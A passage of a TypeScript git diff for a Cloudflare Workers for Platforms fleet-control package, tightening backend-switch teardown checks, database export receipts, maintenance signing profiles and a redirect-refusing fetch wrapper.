+        live.plainTextBindings.FLEET_SPEC_DIGEST &&
+      live.databaseIds.length === 1 &&
+      live.databaseIds[0] === input.prior.databaseId &&
+      live.plainTextBindings.DEPLOYMENT_TENANT === pending.spec.tenantTag &&
+      live.plainTextBindings.FLEET_ENVIRONMENT === pending.spec.environment &&
+      live.plainTextBindings.FLEET_SCHEMA_VERSION ===
+        String(pending.spec.schemaVersion) &&
+      live.plainTextBindings.FLEET_INGRESS_CONTRACT ===
+        PLAIN_WORKER_INGRESS_CONTRACT &&
+      sameJson(liveDurableObjectBindings, expectedDurableObjectBindings) &&
+      sameJson(sortByName(live.serviceBindings), expectedServiceBindings) &&
+      sameJson(
+        sortByName(live.queueProducerBindings ?? []),
+        expectedQueueBindings,
+      ) &&
+      live.kvNamespaceBindings.length === 0 &&
+      sameJson(
+        [...live.secretNames].sort(),
+        expectedSecretNames(false, application),
+      ) &&
+      liveApplicationTopologyMatches(
+        application,
+        live,
+        DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
+      )
+    );
+  }
+
+  #switchRemovalNamespaceIds(
+    input: Pick<
+      SwitchBridgeRemovalAuthority,
+      'prior' | 'bridge' | 'entryPendingArtifact'
+    >,
+    additional: readonly string[] = [],
+  ): readonly string[] {
+    return [
+      ...new Set([
+        ...input.prior.namespaceIds,
+        ...input.prior.durableObjectBindings.map(
+          ({ namespaceId }) => namespaceId,
+        ),
+        ...(input.bridge?.namespaceIds ?? []),
+        ...(input.bridge?.durableObjectBindings.map(
+          ({ namespaceId }) => namespaceId,
+        ) ?? []),
+        ...(input.entryPendingArtifact?.namespaceIds ?? []),
+        ...additional,
+      ]),
+    ].sort();
+  }
+
   async #assertSwitchBridgeRemovalAuthority(
     input: SwitchBridgeRemovalAuthority,
   ): Promise<Awaited<ReturnType<BackendSwitchApi['inspectControlWorker']>>> {
@@ -2438,36 +2905,11 @@ export class WorkersForPlatformsBackendSwitchProvider
     }
     const live = await this.#inspectControlWorker(input.prior.scriptName);
     if (!live) return undefined;
-
-    const liveNamespaceIds =
-      input.plan || input.bridge
-        ? await this.#client.listDurableObjectNamespaces(input.prior.scriptName)
-        : [];
-
-    const plannedBindings =
-      input.plan && !input.bridge
-        ? this.#bridgeBindings(
-            input.targetSpec,
-            input.prior.databaseId,
-            this.#profile(input.targetSpec),
-            input.plan.artifactDigest,
-            input.plan.targetDurableObjectTag,
-            input.prior.application,
-          )
-        : undefined;
-    const isPlannedBridge =
-      input.bridge === undefined &&
-      input.plan !== undefined &&
-      plannedBindings !== undefined &&
-      bridgeTopologyMatches(
-        live,
-        liveNamespaceIds,
-        bridgeTopologyExpectationFromBindings({
-          bindings: plannedBindings,
-          secretNames: input.plan.secretNames,
-          application: input.prior.application,
-        }),
-      );
+    const liveNamespaceIds = [
+      ...(await this.#client.listDurableObjectNamespaces(
+        input.prior.scriptName,
+      )),
+    ].sort();
     const snapshotBindings = input.bridge
       ? this.#snapshotBridgeBindings({ ...input, bridge: input.bridge })
       : undefined;
@@ -2493,8 +2935,6 @@ export class WorkersForPlatformsBackendSwitchProvider
               }),
         }),
       );
-    const isSnapshottedVersion =
-      input.bridge?.artifactVersion === live.artifactVersion;
     const isPriorWorker =
       live.artifactVersion === input.prior.artifactVersion &&
       live.plainTextBindings.FLEET_SPEC_DIGEST === input.prior.specDigest &&
@@ -2541,10 +2981,10 @@ export class WorkersForPlatformsBackendSwitchProvider
       ),
     };
     const isAllowedRestoredWorker =
-      input.bridge !== undefined &&
       input.allowedArtifactVersions.includes(live.artifactVersion) &&
       live.artifactVersion !== input.prior.artifactVersion &&
-      !isSnapshottedVersion &&
+      live.artifactVersion !== input.bridge?.artifactVersion &&
+      live.artifactVersion !== input.entryPendingArtifact?.artifactVersion &&
       live.plainTextBindings.FLEET_SPEC_DIGEST === input.prior.specDigest &&
       JSON.stringify(sortedBindingKeys(live.durableObjectBindings)) ===
         JSON.stringify(sortedBindingKeys(input.prior.durableObjectBindings)) &&
@@ -2562,12 +3002,53 @@ export class WorkersForPlatformsBackendSwitchProvider
         live,
         DEPLOYMENT_PLATFORM_VARIABLE_NAMES,
       );
+    const artifactRoleNamespaceIds: readonly (readonly string[])[] = [
+      ...(live.artifactVersion === input.prior.artifactVersion
+        ? [[...input.prior.namespaceIds].sort()]
+        : []),
+      ...(live.artifactVersion === input.bridge?.artifactVersion && input.bridge
+        ? [[...input.bridge.namespaceIds].sort()]
+        : []),
+      ...(live.artifactVersion ===
+        input.entryPendingArtifact?.artifactVersion &&
+      input.entryPendingArtifact
+        ? [[...input.entryPendingArtifact.namespaceIds].sort()]
+        : []),
+      ...(input.allowedArtifactVersions.includes(live.artifactVersion) &&
+      live.artifactVersion !== input.prior.artifactVersion &&
+      live.artifactVersion !== input.bridge?.artifactVersion
+        ? [[...(input.bridge?.namespaceIds ?? input.prior.namespaceIds)].sort()]
+        : []),
+    ];
     if (
-      (isSnapshottedVersion && !isSnapshottedBridge) ||
-      (!isSnapshottedBridge &&
-        !isPlannedBridge &&
-        !isPriorWorker &&
-        !isAllowedRestoredWorker) ||
+      new Set(
+        artifactRoleNamespaceIds.map((namespaceIds) =>
+          JSON.stringify(namespaceIds),
+        ),
+      ).size > 1
+    ) {
+      throw new Error('refusing to delete a foreign backend-switch bridge');
+    }
+    const roleNamespaceIds: readonly (readonly string[])[] = [
+      ...(isPriorWorker ? [[...input.prior.namespaceIds].sort()] : []),
+      ...(isSnapshottedBridge && input.bridge
+        ? [[...input.bridge.namespaceIds].sort()]
+        : []),
+      ...(isAllowedRestoredWorker
+        ? [[...(input.bridge?.namespaceIds ?? input.prior.namespaceIds)].sort()]
+        : []),
+      ...(this.#pendingEntryWorkerMatches(live, input) &&
+      input.entryPendingArtifact
+        ? [[...input.entryPendingArtifact.namespaceIds].sort()]
+        : []),
+    ];
+    const distinctRoleNamespaceIds = new Set(
+      roleNamespaceIds.map((namespaceIds) => JSON.stringify(namespaceIds)),
+    );
+    if (
+      roleNamespaceIds.length === 0 ||
+      distinctRoleNamespaceIds.size !== 1 ||
+      !sameJson(liveNamespaceIds, roleNamespaceIds[0]) ||
       live.databaseIds.length !== 1 ||
       live.databaseIds[0] !== input.prior.databaseId ||
       live.plainTextBindings.DEPLOYMENT_TENANT !== input.targetSpec.tenantTag ||
@@ -2595,24 +3076,7 @@ export class WorkersForPlatformsBackendSwitchProvider
     },
   ): Promise<void> {
     const live = await this.#assertSwitchBridgeRemovalAuthority(input);
-    const authoritativeNamespaceIds = [
-      ...new Set([
-        ...input.prior.namespaceIds,
-        ...input.prior.durableObjectBindings.flatMap(({ namespaceId }) =>
-          namespaceId ? [namespaceId] : [],
-        ),
-        ...(input.bridge?.namespaceIds ?? []),
-        ...(input.bridge?.durableObjectBindings.flatMap(({ namespaceId }) =>
-          namespaceId ? [namespaceId] : [],
-        ) ?? []),
-        ...(await this.#client.listDurableObjectNamespaces(
-          input.prior.scriptName,
-        )),
-        ...(live?.durableObjectBindings.flatMap(({ namespaceId }) =>
-          namespaceId ? [namespaceId] : [],
-        ) ?? []),
-      ]),
-    ];
+    const authoritativeNamespaceIds = this.#switchRemovalNamespaceIds(input);
     if (live) {
       await this.#client.withMutationFence(input.fence, async () => {
         await this.#client.revokeControlSecrets(input.prior.scriptName);
@@ -2622,12 +3086,15 @@ export class WorkersForPlatformsBackendSwitchProvider
     if (await this.#inspectControlWorker(input.prior.scriptName)) {
       throw new Error('backend-switch bridge remains after decommission');
     }
-    for (const namespaceId of authoritativeNamespaceIds) {
-      if (await this.#client.hasDurableObjectNamespace(namespaceId)) {
-        throw new Error(
-          `backend-switch namespace '${namespaceId}' remains after decommission`,
-        );
-      }
+    const existingNamespaceIds =
+      await this.#client.existingDurableObjectNamespaceIds(
+        authoritativeNamespaceIds,
+      );
+    const remainingNamespaceId = existingNamespaceIds[0];
+    if (remainingNamespaceId) {
+      throw new Error(
+        `backend-switch namespace '${remainingNamespaceId}' remains after decommission`,
+      );
     }
   }
 
@@ -2670,6 +3137,113 @@ export class WorkersForPlatformsBackendSwitchProvider
     await this.#backend.deleteApplicationR2Bucket(resource, fence);
   }
 
+  /** Reads one switch database by immutable provider ID. */
+  getSwitchDatabase(
+    databaseId: string,
+  ): Promise<DatabaseReference | undefined> {
+    return this.#client.getDatabase(databaseId);
+  }
+
+  /** Reads the raw deployment owner under the supplied mutation fence. */
+  readSwitchDatabaseOwner(
+    database: DatabaseReference,
+    fence: BackendSwitchMutationFence,
+  ): Promise<string | undefined> {
+    return this.#backend.readDeploymentIdentity(database, fence);
+  }
+
+  /**
+   * Reasserts switch-owned residual absence without invoking the legacy
+   * account-wide Worker attachment enumeration.
+   */
+  async assertSwitchDatabaseDeletionResidualsRemoved(
+    input: Readonly<{
+      prior: PlainBackendSnapshot;
+      targetSpec: DeploymentSpec;
+      currentRecord: FleetRecord;
+      database: DatabaseReference;
+      fence: BackendSwitchMutationFence;
+    }>,
+  ): Promise<void> {
+    const snapshot =
+      input.currentRecord.backendSwitchIntent?.decommissionSnapshot;
+    if (
+      !snapshot?.prior ||
+      !sameJson(snapshot.prior, input.prior) ||
+      snapshot.providerTargetSpecDigest !==
+        deploymentSpecDigest(input.targetSpec)
+    ) {
+      throw new Error('backend switch decommission authorization was lost');
+    }
+    await this.assertSwitchTrafficRemoved({
+      prior: input.prior,
+      routeHostname: snapshot.routeHostname,
+    });
+    for (const { release } of snapshot.releases) {
+      if (
+        (await this.#inspectDispatchWorker(release.physicalScriptName)) ||
+        (await this.#client.getScriptInventory(
+          this.#hostRoutingKvId,
+          release.physicalScriptName,
+        ))
+      ) {
+        throw new Error('backend-switch release remains after decommission');
+      }
+    }
+    if (await this.#inspectControlWorker(input.prior.scriptName)) {
+      throw new Error('backend-switch bridge remains after decommission');
+    }
+    const namespaceIds = this.#switchRemovalNamespaceIds(
+      {
+        prior: input.prior,
+        bridge: snapshot.bridge,
+        ...(snapshot.entryPendingArtifactVersion &&
+        snapshot.entryPendingNamespaceIds
+          ? {
+              entryPendingArtifact: {
+                artifactVersion: snapshot.entryPendingArtifactVersion,
+                namespaceIds: snapshot.entryPendingNamespaceIds,
+                spec: input.targetSpec,
+              },
+            }
+          : {}),
+      },
+      snapshot.resources?.stateWorker.namespaceIds ?? [],
+    );
+    const existingNamespaceIds =
+      await this.#client.existingDurableObjectNamespaceIds(namespaceIds);
+    const remainingNamespaceId = existingNamespaceIds[0];
+    if (remainingNamespaceId) {
+      throw new Error(
+        `backend-switch namespace '${remainingNamespaceId}' remains after decommission`,
+      );
+    }
+  }
+
+  /** Deletes the already-reconciled switch database without a legacy scan. */
+  deleteSwitchDatabaseBounded(
+    input: Readonly<{
+      prior: PlainBackendSnapshot;
+      targetSpec: DeploymentSpec;
+      database: DatabaseReference;
+      fence: BackendSwitchMutationFence;
+    }>,
+  ): Promise<void> {
+    if (
+      input.database.id !== input.prior.databaseId ||
+      input.database.name !== input.prior.databaseName ||
+      input.prior.databaseName !== input.targetSpec.databaseName ||
+      input.prior.scriptName !== input.targetSpec.scriptName
+    ) {
+      throw new Error(
+        'backend-switch database identity changed before teardown',
+      );
+    }
+    return this.#client.withMutationFence(input.fence, () =>
+      this.#client.deleteDatabase(input.database.id),
+    );
+  }
+
   async exportSwitchDatabase(input: {
     readonly prior: PlainBackendSnapshot;
     readonly targetSpec: DeploymentSpec;
diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts
index 9aa629bf..b3691b3b 100644
--- a/packages/fleet-control/src/workers-for-platforms-backend.ts
+++ b/packages/fleet-control/src/workers-for-platforms-backend.ts
@@ -5,7 +5,6 @@ import {
   provisionDeploymentIdentityProtocol,
   readDeploymentIdentityProtocol,
 } from '@proofoftech/flowsafe/deployment-identity-protocol';
-import type { MaintenanceCapabilityJwk } from '@proofoftech/flowsafe/host-kit';
 import {
   MAINTENANCE_RECEIPT_HEADER,
   mintAsymmetricMaintenanceCapability,
@@ -16,6 +15,12 @@ import {
   applicationSecretNames,
   applicationSecretValues,
 } from './application-bindings.js';
+import { refuseRedirectStatus } from './cloudflare-provider-errors.js';
+import {
+  cancelBodyWithoutAwait,
+  captureDatabaseExportReceiptCapability,
+  databaseExportReceiptIdentityFromUnknown,
+} from './database-export-store.js';
 import { isSha256 } from './deployment-context.js';
 import { WorkerDeploymentError } from './deployment-error.js';
 import { parseHostRoutingTarget } from './host-routing.js';
@@ -38,6 +43,7 @@ import {
   FLEET_AUDIT_PROXY_STATE_BINDING,
   trustedArtifactDigest,
   validateExternalPlatformProfile,
+  validateMaintenanceSigningProfile,
 } from './platform-resources.js';
 import { assertProviderBindingIdentitiesMatchInspection } from './provider-binding-inventory.js';
 import { deploymentSpecDigest } from './spec-digest.js';
@@ -45,7 +51,10 @@ import type {
   ActiveRouteAttestation,
   D1Migration,
   DatabaseExport,
+  DatabaseExportReceiptIdentity,
   DatabaseReference,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
   DeploymentEgressPolicy,
   DeploymentSecrets,
   DeploymentSpec,
@@ -58,17 +67,24 @@ import type {
   FleetRecord,
   LiveDeployment,
   MaintenanceHealth,
+  MaintenanceSigningProfile,
   PromotionGuard,
   ProviderBindingIdentity,
   ProvisioningBackend,
   ScriptInventoryTarget,
   SeedDeploymentIdentityOptions,
 } from './types.js';
+import { isPlatformCatalogRecord } from './types.js';
 
 const RELEASE_DIGEST_LENGTH = 48;
 const DEFAULT_MAINTENANCE_REQUEST_TIMEOUT_MS = 15_000;
 const MAINTENANCE_CAPABILITY_MAX_TTL_SECONDS = 60;
 const MAINTENANCE_CAPABILITY_SKEW_SECONDS = 5;
+// The reason a maintenance response body goes unread: the health payload is
+// the signed receipt header, and the success path hands readMaintenanceHealth
+// a fresh response built from the verified receipt.
+const UNREAD_MAINTENANCE_BODY =
+  'Workers for Platforms maintenance health is read from the signed receipt header';
 
 export function externalReleaseScriptName(spec: DeploymentSpec): string {
   const digest = deploymentSpecDigest(spec);
@@ -81,9 +97,10 @@ function candidateMaintenanceUrl(
   spec: DeploymentSpec,
   physicalScriptName: string,
   operation: 'ensure-maintenance' | 'maintenance-status',
+  specDigest = deploymentSpecDigest(spec),
 ): URL {
   return new URL(
-    `/.well-known/anchorage/maintenance/${encodeURIComponent(spec.tenantTag)}/${encodeURIComponent(spec.environment)}/${encodeURIComponent(physicalScriptName)}/${deploymentSpecDigest(spec)}/${operation}`,
+    `/.well-known/anchorage/maintenance/${encodeURIComponent(spec.tenantTag)}/${encodeURIComponent(spec.environment)}/${encodeURIComponent(physicalScriptName)}/${specDigest}/${operation}`,
     spec.maintenanceBaseUrl,
   );
 }
@@ -114,6 +131,58 @@ function localBindingKeys(
   );
 }
 
+function carrierConsumedMigrationDecommissionMatches(
+  spec: DeploymentSpec,
+  record: FleetRecord,
+): boolean {
+  const intent = record.decommissionIntent;
+  const identity = intent?.identity;
+  const mode = identity?.mode;
+  if (
+    record.phase !== 'decommission-advancing' ||
+    !intent ||
+    intent.state === 'complete' ||
+    !identity ||
+    mode?.kind !== 'normal'
+  ) {
+    return false;
+  }
+  return (
+    mode.entryLifecyclePhase === 'migrating' &&
+    mode.requestedSpecDigest === deploymentSpecDigest(spec) &&
+    record.desiredSpecDigest === mode.requestedSpecDigest &&
+    [
+      'decommissioning',
+      'traffic-removed',
+      'credentials-revoked',
+      'worker-deleted',
+      'platform-credentials-revoked',
+      'platform-resources-deleted',
+      'application-resources-deleting',
+      'application-resources-deleted',
+      'database-exported',
+      'database-deleting',
+    ].includes(intent.lifecyclePhase) &&
+    record.migrationIntent === undefined &&
+    record.pendingSpecDigest === undefined &&
+    record.pendingArtifactVersion === undefined &&
+    record.backendSwitchIntent === undefined &&
+    identity.record.tenantTag === record.tenantTag &&
+    identity.record.environment === record.environment &&
+    identity.record.backend === record.backend &&
+    identity.record.backend === 'workers-for-platforms' &&
+    identity.record.scriptName === record.scriptName &&
+    identity.record.databaseId === record.databaseId &&
+    identity.record.databaseName === record.databaseName &&
+    identity.record.routeHostname === record.routeHostname &&
+    identity.record.tenantTag === spec.tenantTag &&
+    identity.record.environment === spec.environment &&
+    identity.record.scriptName === spec.scriptName &&
+    identity.record.databaseName === spec.databaseName &&
+    identity.record.routeHostname === spec.routeHostname
+  );
+}
+
 export interface WorkersForPlatformsApi {
   listWorkerDatabaseAttachments(databaseId: string): Promise<
     readonly Readonly<{
@@ -129,6 +198,16 @@ export interface WorkersForPlatformsApi {
       dispatchNamespace?: string;
     }>[]
   >;
+  /**
+   * Advances one bounded, read-only attachment scan chunk.
+   *
+   * The implementation must use the same Cloudflare account and credential
+   * authority as this port's teardown mutations. It never performs an
+   * unbounded fallback and returns no durable absence or deletion authority.
+   */
+  advanceDecommissionAttachmentScan?(
+    input: DecommissionAttachmentScanInput,
+  ): Promise<DecommissionAttachmentScanResult>;
   getR2Bucket?(
     bucketName: string,
     jurisdiction: import('./types.js').R2Jurisdiction,
@@ -169,6 +248,7 @@ export interface WorkersForPlatformsApi {
     physicalScriptName?: string,
     platformResources?: ExternalPlatformResources,
     application?: import('./types.js').ApplicationBindingTopology,
+    maintenanceCapabilityPublicKey?: string,
   ): Promise<{ artifactVersion: string }>;
   uploadNamespacedStateWorker?(options: {
     readonly spec: DeploymentSpec;
@@ -270,6 +350,18 @@ export interface WorkersForPlatformsApi {
   revokeDispatchSecrets(scriptName: string): Promise<void>;
   deleteDispatchWorker(scriptName: string): Promise<void>;
   exportDatabase(databaseId: string): Promise<DatabaseExport>;
+  /**
+   * Canonical immutable receipt authority. Present together with
+   * `exportDatabaseReceipt` and unchanged across retries of one identity.
+   */
+  readonly databaseExportReceiptAuthority?: string;
+  /**
+   * Streams one operation-scoped export. Exact retries converge while an
+   * identity or byte collision is preserved and refused.
+   */
+  exportDatabaseReceipt?(
+    identity: DatabaseExportReceiptIdentity,
+  ): Promise<DatabaseExport>;
   deleteDatabase(databaseId: string): Promise<void>;
   putHostRouting(
     namespaceId: string,
@@ -343,6 +435,15 @@ export function deriveStateEgressCredential(
 export class WorkersForPlatformsBackend implements ProvisioningBackend {
   readonly kind = 'workers-for-platforms' as const;
   readonly immutableExternalArtifacts = true as const;
+  declare readonly advanceDecommissionAttachmentScan?: NonNullable<
+    ProvisioningBackend['advanceDecommissionAttachmentScan']
+  >;
+  /** Canonical immutable receipt authority, present only with receipt export. */
+  declare readonly databaseExportReceiptAuthority?: string;
+  /** Forwards one canonical receipt under the ambient mutation fence. */
+  declare readonly exportDatabaseReceipt?: NonNullable<
+    ProvisioningBackend['exportDatabaseReceipt']
+  >;
   readonly #client: WorkersForPlatformsApi;
   readonly #fetch: typeof fetch;
   readonly #hostRoutingKvId: string;
@@ -351,7 +452,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
   readonly #clock: () => number;
   readonly #platformProfileFor?: (
     spec: DeploymentSpec,
-  ) => ExternalPlatformProfile;
+  ) => ExternalPlatformProfile | MaintenanceSigningProfile;
   readonly #namespacedState: Readonly<{
     dispatchNamespace: string;
     sharedOutboundWorkerName: string;
@@ -368,7 +469,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     readonly clock?: () => number;
     readonly platformProfileFor?: (
       spec: DeploymentSpec,
-    ) => ExternalPlatformProfile;
+    ) => ExternalPlatformProfile | MaintenanceSigningProfile;
     readonly namespacedState: Readonly<{
       dispatchNamespace: string;
       sharedOutboundWorkerName: string;
@@ -378,8 +479,24 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     if (!options.hostRoutingKvId) {
       throw new Error('hostRoutingKvId is required');
     }
-    this.#client = options.client;
-    this.#fetch = options.fetch ?? fetch;
+    const client = options.client;
+    this.#client = client;
+    const fetchFn = options.fetch ?? fetch;
+    // The maintenance requests below carry a minted capability token as a
+    // bearer credential to a tenant Worker URL. Forcing the policy after the
+    // spread denies a call site the chance to opt into following a redirect to
+    // an address the control plane did not choose. By the rule at
+    // refuseRedirectStatus the refusal belongs in this wrapper: both consumers
+    // read only the signed receipt header and then build a fresh response, so a
+    // 3xx carrying a valid receipt would otherwise succeed.
+    this.#fetch = async (input, init) => {
+      const response = await fetchFn(input, { ...init, redirect: 'manual' });
+      refuseRedirectStatus(
+        response,
+        'Workers for Platforms maintenance request',
+      );
+      return response;
+    };
     this.#hostRoutingKvId = options.hostRoutingKvId;
     this.#auditQueueName = options.auditQueueName;
     this.#maintenanceRequestTimeoutMs =
@@ -408,6 +525,33 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
       );
     }
     this.#namespacedState = options.namespacedState;
+    const advanceAttachmentScan = client.advanceDecommissionAttachmentScan;
+    if (typeof advanceAttachmentScan === 'function') {
+      this.advanceDecommissionAttachmentScan =
+        advanceAttachmentScan.bind(client);
+    }
+    const receiptCapability = captureDatabaseExportReceiptCapability(
+      client,
+      () => [
+        client.databaseExportReceiptAuthority,
+        client.exportDatabaseReceipt,
+      ],
+    );
+    if (receiptCapability) {
+      const exportDatabaseReceipt = receiptCapability.method as NonNullable<
+        WorkersForPlatformsApi['exportDatabaseReceipt']
+      >;
+      this.databaseExportReceiptAuthority = receiptCapability.authority;
+      this.exportDatabaseReceipt = (identity, fence) => {
+        const canonical = databaseExportReceiptIdentityFromUnknown(
+          identity,
+          receiptCapability.authority,
+        );
+        return this.#withMutationFence(fence, () =>
+          exportDatabaseReceipt(canonical),
+        );
+      };
+    }
   }
 
   #stateEgressCredential(spec: DeploymentSpec): string {
@@ -447,7 +591,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
   }
 
   #deploymentAuditQueueName(spec: DeploymentSpec): string | undefined {
-    if (!spec.queueProducer) return undefined;
+    if (spec.authoredBy !== 'external' || !spec.queueProducer) return undefined;
     if (
       spec.queueProducer.binding !== 'AUDIT_QUEUE' ||
       !this.#auditQueueName ||
@@ -473,9 +617,11 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     fence: ExternalMutationFence,
   ): Promise<DatabaseReference> {
     return this.#withMutationFence(fence, async () => {
+      await fence.assertOwned();
       try {
         return await this.#client.createDatabase(spec.databaseName);
       } catch (cause) {
+        await fence.assertOwned();
         const recovered = await this.#client.findDatabase(spec.databaseName);
         if (recovered) {
           const owner = await this.readDeploymentIdentity(recovered, fence);
@@ -580,9 +726,11 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         'Workers for Platforms client does not support application R2',
       );
     }
+    await fence.assertOwned();
     try {
       await this.#client.createR2Bucket(resource, fence);
     } catch (error) {
+      await fence.assertOwned();
       const reconciled = await this.findApplicationR2Bucket(resource);
       if (reconciled) return reconciled;
       if (
@@ -659,7 +807,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
 
   #platformProfile(spec: DeploymentSpec): ExternalPlatformProfile {
     const profile = this.#platformProfileFor?.(spec);
-    if (!profile) {
+    if (!profile || !('stateWorker' in profile)) {
       throw new Error(
         'external Workers for Platforms deployment requires a trusted platformProfileFor provider',
       );
@@ -668,34 +816,33 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     return profile;
   }
 
-  #capabilityPrivateKey(spec: DeploymentSpec): MaintenanceCapabilityJwk {
-    const profile = this.#platformProfile(spec);
-    const privateKey = profile.maintenanceCapabilityPrivateKey;
-    if (
-      !privateKey ||
-      typeof privateKey.d !== 'string' ||
-      typeof privateKey.x !== 'string' ||
-      typeof privateKey.kid !== 'string'
-    ) {
+  #maintenanceSigningProfile(spec: DeploymentSpec): MaintenanceSigningProfile {
+    if (spec.authoredBy === 'external') return this.#platformProfile(spec);
+    const profile = this.#platformProfileFor?.(spec);
+    if (!profile) {
       throw new Error(
-        'external maintenance requires a fleet-private Ed25519 capability signer',
+        'Workers for Platforms maintenance requires a trusted platformProfileFor signer',
       );
     }
-    const publicKey = canonicalMaintenanceCapabilityPublicKey(
-      JSON.stringify({
-        kty: privateKey.kty,
-        crv: privateKey.crv,
-        alg: privateKey.alg,
-        kid: privateKey.kid,
-        x: privateKey.x,
-      }),
-    );
-    if (publicKey !== profile.maintenanceCapabilityPublicKey) {
+    validateMaintenanceSigningProfile(profile);
+    return profile;
+  }
+
+  #assertCatalogMaintenanceBindings(
+    spec: DeploymentSpec,
+    bindings: Readonly<Record<string, string>>,
+    publicKey: string,
+  ): void {
+    if (
+      bindings.FLEET_MAINTENANCE_CAPABILITIES !== 'required' ||
+      bindings.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY !== publicKey ||
+      bindings.FLEET_DEPLOYMENT_SCRIPT !== spec.scriptName ||
+      bindings.FLEET_RESOURCE_ROLE !== 'platform-catalog'
+    ) {
       throw new Error(
-        'maintenance capability signer does not match the immutable platform verifier',
+        `platform catalog '${spec.scriptName}' requires signed maintenance enrollment with its configured verifier`,
       );
     }
-    return privateKey;
   }
 
   #describeExternalPlatformTarget(
@@ -1148,6 +1295,10 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     database: DatabaseReference,
     fence: ExternalMutationFence,
   ): Promise<void> {
+    if (spec.authoredBy !== 'external' || record.wfpMode !== undefined)
+      throw new Error(
+        'external platform resources require an external deployment',
+      );
     await this.#withMutationFence(fence, async () => {
       const resources = record.platformResources;
       const stateName = externalStateScriptName(spec);
@@ -1230,11 +1381,14 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         namespacedProfile,
         namespacedTarget,
       );
+      const migrationIntentMatches =
+        record.migrationIntent !== undefined &&
+        JSON.stringify(record.migrationIntent.target) ===
+          JSON.stringify(namespacedTarget);
       if (
         !inspected ||
-        !record.migrationIntent ||
-        JSON.stringify(record.migrationIntent.target) !==
-          JSON.stringify(namespacedTarget)
+        (!migrationIntentMatches &&
+          !carrierConsumedMigrationDecommissionMatches(spec, record))
       ) {
         throw new Error(
           `refusing to revoke credentials for drifted state Worker '${stateName}'`,
@@ -1251,6 +1405,10 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
     database: DatabaseReference,
     fence: ExternalMutationFence,
   ): Promise<void> {
+    if (spec.authoredBy !== 'external' || record.wfpMode !== undefined)
+      throw new Error(
+        'external platform resources require an external deployment',
+      );
     await this.#withMutationFence(fence, async () => {
       const resources = record.platformResources;
       const stateName = externalStateScriptName(spec);
@@ -1311,8 +1469,29 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
   }> {
     return this.#withMutationFence(fence, async () => {
       const physicalScriptName = this.releaseScriptName(spec);
+      const catalogPublicKey =
+        spec.authoredBy === 'platform'
+          ? this.#maintenanceSigningProfile(spec).maintenanceCapabilityPublicKey
+          : undefined;
       this.#deploymentAuditQueueName(spec);
       const existing = await this.#inspectDispatchWorker(physicalScriptName);
+      if (catalogPublicKey && existing) {
+        const currentKey =
+          existing.plainTextBindings.FLEET_MAINTENANCE_CAPABILITY_PUBLIC_KEY;
+        if (currentKey !== undefined && currentKey !== catalogPublicKey)
+          throw new Error(
+            'platform catalog maintenance verifier cannot change during deployment',
+          );
+        if (
+          existing.plainTextBindings.FLEET_MAINTENANCE_CAPABILITIES ===
+          'required'
+        )
+          this.#assertCatalogMaintenanceBindings(
+            spec,
+            existing.plainTextBindings,
+            catalogPublicKey,
+          );
+      }
       const targetDigest = deploymentSpecDigest(spec);
       if (
         spec.authoredBy === 'external' &&
@@ -1404,17 +1583,18 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
         if (
           existing.tenantTag !== spec.tenantTag ||
           existing.environment !== spec.environment ||
+          !isSha256(existing.desiredSpecDigest) ||
           (spec.authoredBy === 'external' &&
             (existing.desiredSpecDigest !== targetDigest ||
-              existing.schemaVersion !== spec.schemaVersion)) ||
+              existing.schemaVersion !== spec.schemaVersion ||
+              bindingKeys(existing.durableObjectBindings) !==
+                bindingKeys(expectedBindings) ||
+              JSON.stringify(existing.serviceBindings ?? []) !==
+                JSON.stringify(expectedServiceBindings) ||
+              JSON.stringify(existing.queueProducerBindings ?? []) !==
+                JSON.stringify(expectedQueueBindings))) ||
           existing.databaseIds.length !== 1 ||
-          existing.databaseIds[0] !== database.id ||
-          bindingKeys(existing.durableObjectBindings) !==
-            bindingKeys(expectedBindings) ||
-          JSON.stringify(existing.serviceBindings ?? []) !==
-            JSON.stringify(expectedServiceBindings) ||
-          JSON.stringify(existing.queueProducerBindings ?? []) !==
-            JSON.stringify(expectedQueueBindings)
+          existing.databaseIds[0] !== database.id
         ) {
           throw new Error(
             spec.authoredBy === 'external'
@@ -1458,6 +1638,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
             physicalScriptName,
             platformResources,
             application,
+            catalogPublicKey,
           );
         } else {
           deployed = await this.#client.uploadDispatchWorker(
@@ -1466,6 +1647,7 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
             physicalScriptName,
             platformResources,
             application,
+            catalogPublicKey,
           );
           await this.#client.putDispatchSecrets(physicalScriptName, secrets, {
             includeMaintenanceAdmin: spec.authoredBy !== 'external',
@@ -1475,6 +1657,12 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
           });
         }
         const attested = await this.#inspectDispatchWorker(physicalScriptName);
+        if (catalogPublicKey && attested)
+          this.#assertCatalogMaintenanceBindings(
+            spec,
+            attested.plainTextBindings,
+            catalogPublicKey,
+          );
         if (
           !attested ||
           attested.artifactVersion !== deployed.artifactVersion ||
@@ -1649,13 +1837,17 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend {
           policyId: policy.policyId,
           policyDigest: policy.policyDigest,
           policyHosts: policy.policyHosts,
-          stateEgress: {
-            resourceGroupId: externalPlatformResourceGroupId(spec),
-            stateScriptName: externalStateScriptName(spec),
-            credentialDigest: createHash('sha256')
-              .update(this.#stateEgressCredential(spec))
-              .digest('hex'),
-          },
+          ...(spec.authoredBy === 'external'
+            ? {
+                stateEgress: {
